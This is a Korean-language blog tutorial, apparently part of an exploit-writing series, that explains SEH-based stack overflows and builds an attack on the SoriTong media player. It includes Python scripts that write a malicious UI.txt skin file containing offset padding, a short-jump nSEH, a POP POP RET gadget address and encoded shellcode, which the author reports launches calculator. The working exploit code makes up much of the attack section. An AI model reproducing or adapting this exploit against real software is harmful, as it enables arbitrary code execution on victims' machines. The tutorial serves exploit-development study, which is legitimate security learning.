Exploit writing tutorial part3 : SEH base exploit
Pwnable

Exploit writing tutorial part3 : SEH base exploit

728x90

 

 

앞서 shellcode로 점프할 수 있는 여러 방법에 대해서 알아보았다. 이번에는 조금 특별한 방법인 SEH기반의 오버 플로우 공격을 알아볼 것이다.

 

먼저 예외 핸들러에 대해 알아보자. 프로그램이 실행되는 도중 여러 예외가 발생 가능하다. 예를 들면 0으로 나누거나 stack overflow가 발생하는 경우 등이 있을것이다. 이러한 경우 예외 핸들러가 동작하며 해당 예외 발생에 대처한다.

일반적인 예외처리 매커니즘은 아래와 같다.

try {
//run stuff. If an exception occurs, go to code 
} 

catch { 
// run stuff when exception occurs
}

 

이렇게 핸들러가 추가된 뒤 스택의 구조는 아래와 같다.

윈도우에서는 기본적으로 예외들을 처리할 수 있는 SEH를 가지고 있다. OS 수준에서 동작하게 되는 SEH는 최후의 수단으로 사용 되어야한다. 어플리케이션이 catch 코드로 이동하기 이전에 예외핸들러의 지시포인터는 스택에 저장되고 따라서 각 예외 핸들러는 고유의 스택 프레임을 가지게 된다. 프레임기반 예외핸들러에 대한정보는 expception_registration 구조체에 저장된다. 이 구조체는 8바이트로 구성되며 다음 expception_registration의 구조체를 가르키는 포인터와 예외 핸들러의 실제 주소를 가르키는 포인터로 각각 4바이트로 구성 되어있다.

TEB/TIB의 최상위 부분에 SEH 체인을 가리키는 포인터가 위치한다. SEH 체인은 FS:[0] 체인으로 불리기도 한다

 

이제 SEH를 이용해 어떻게 쉘코드로 뛸 수 있을까. 이 공격의 원리는 다음과 같다. 만일 예외가 주어졌을 때 사용하는 SE 핸들러를 가리키는 포인터를 덮어쓸 수 있고 애플리케이션이 또 다른 예외를 발생시키게 만들 수 있다면, 해당 애플리케이션 이 실제 예외 핸들러 함수로 가지 않고 공격자가 만든 쉘코드로 강제로 이동하도록 만들 수 있다. 공격흐름은 아래와 같을 것이다.

 

 

이제 실제 취약점이 존재하는 프로그램을 가지고 와서 실습을 진행해보자. 이번에 사용할 프로그램은 소리통이라는 프로그램으로 아래 링크에서 다운받을 수 있다.

http://pds.dnavi.info/windows95/121987

 

해당 프로그램에서 취약점이 트리거되는 부분은 C:\Program Files\SoriTong\Skin\Default 위치에 UI.txt.라는 파일이다. 해당파일에 A5000개 덮어서 오버플로우를 트리거 시켜보자.

 

 

import struct

 

with open("C:/Program Files/SoriTong/Skin/Default/UI.txt","wb") as f:

    junk=b"A" *5000

    f.write(junk)

 

print("success")

 

이후 windbg에 소리통 프로그램을 붙인 다음 g를 눌러 실행시켜주면 아래와 같이 예외가 발생한것을 확인 할 수 있다.

TEB를 덤프하여 SEH 체인을 가르키고 있음을 알 수 있다.

그리고 !exchain 명령을 통해 예외 핸들러의 상태를 확인해보자

성공적으로 덮여 쓰여진 것을 확인 할 수 있다.

 

프로그램을 이어서 실행 시켜보면 eip가 아까 덮어썼던 값인 41414141로 구성된 것을 확인 할 수 있다.

정확한 dummy를 계산하기 위해 metasploit에 포함된 pattern_creat 도구를 이용하여 패턴을 생성하자.

생성된 패턴을 UI.txt에 넣어준 후 다시 windbg를 통해 소리통 프로그램을 붙여 실행시키고 eip에 나타나는 값을 확인해보자.

현재 eip에 나타나는 값은 0x41367441이다. 해당 값의 위치를 알기 위해 pattern_offset에 넣어서 값을 확인해보자.

588개의 더미가 필요한 것을 알 수 있다. 이제 SEH를 통해 어떻게 shellcode로 뛸것인지 payload의 구성과 공격과정을 정확하게 알아보자.

 

SEH 기반 취약점에서, 공격자의 junk 페이로드가 nSEH 포인터 주소를 덮어쓴 다음, SE 핸들러를 덮어쓴다. 그 다음 위치에 쉘코드를 놓으면 된다. 예외가 발생하면, 애플리케이션 흐름은 SE 핸들러로 이동하게 된다. 그러므로 SE 핸들러 위치에 공격자가 만든 쉘코드로 흐름을 이동시킬 수 있는 무언가를 두어야 한다. 이러한 작업은 두 번째 가짜 예외를 이용해 달성핛 수 있다. 애플리케이션이 다음 SEH 포인 터로 이동하게 되는 것이다. nSEH 포인터가 SE 핸들러 바로 전에 위치하므로, SE 핸들러를 덮어썼다는 것은 nSEH를 이미 덮어 썼다는 것을 의미한다. 그리고 쉘코드는 SE 핸들러 바로 뒤에 위치한다. SE 핸들러 안에 POP POP RET가젯을 넣어 실행하면, EIP nSEH로 향하게 되는데, 이렇게 되면 nSEH 안에 있는 코드가 실행된다. 이 때 정상적인 nSEH 주소가 아닌 짧은 코드를 하나 기록하면 된다. short jump 명령으로 SE 핸들러를 뛰어넘어 쉘코드로 이동하게 되는 것이다. 공격흐름을 나타내면 아래와 같다.

 

 

따라서 앞서 계산한 offset의 결과를 바탕으로 SE 핸들러는 588바이트 위치에 nSEH588-4 584위치에 존재하는 것을 알 수 있다. 이제 pop pop ret가젯을 로드된 dll중에서 찾아보자

 

 

여러종류의 dll중에서 osdll이 아닌 것은 player.dll이 유일해보인다. 공격코드의 범용성을 조금더 높이기 위해 해당 dll에서 가젯을 찾아보자. 이번에는 findjmp 프로그램을 이용해 조금 더 간편하게 찾아보았다.

 

 

널바이트가 없는 것으로 아무 것이나 선택하면 된다. 이번 경우

0x1001BDBA를 이용할 것이다.

이제 nseh에 들어갈 short jmpopcode가 필요한데 6바이트 정도 뛰면 성공하는 것이 확인됨으로 \xeb\x06\x90\x90을 채워주면 된다.

 

이제 실제 공격코드를 작성해보자.

import struct

with open("C:/Program Files/SoriTong/Skin/Default/UI.txt","wb") as f:

    junk=b"a"*584
    nseh=b"\xeb\x06\x90\x90"
    handler=struct.pack("I",0x1001BDBA)

	shell  =b"\x90"*25
    shell += b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
    shell += b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
    shell += b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
    shell += b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
    shell += b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
    shell += b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
    shell += b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
    shell += b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
    shell += b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
    shell += b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
    shell += b"\x7f\xe8\x7b\xca"
    payload= junk+ nseh+handler+shell+junk

    f.write(payload)

 

print("success")

 

 

 

성공적으로 계산기가 실행되는 것을 알 수 있다.

728x90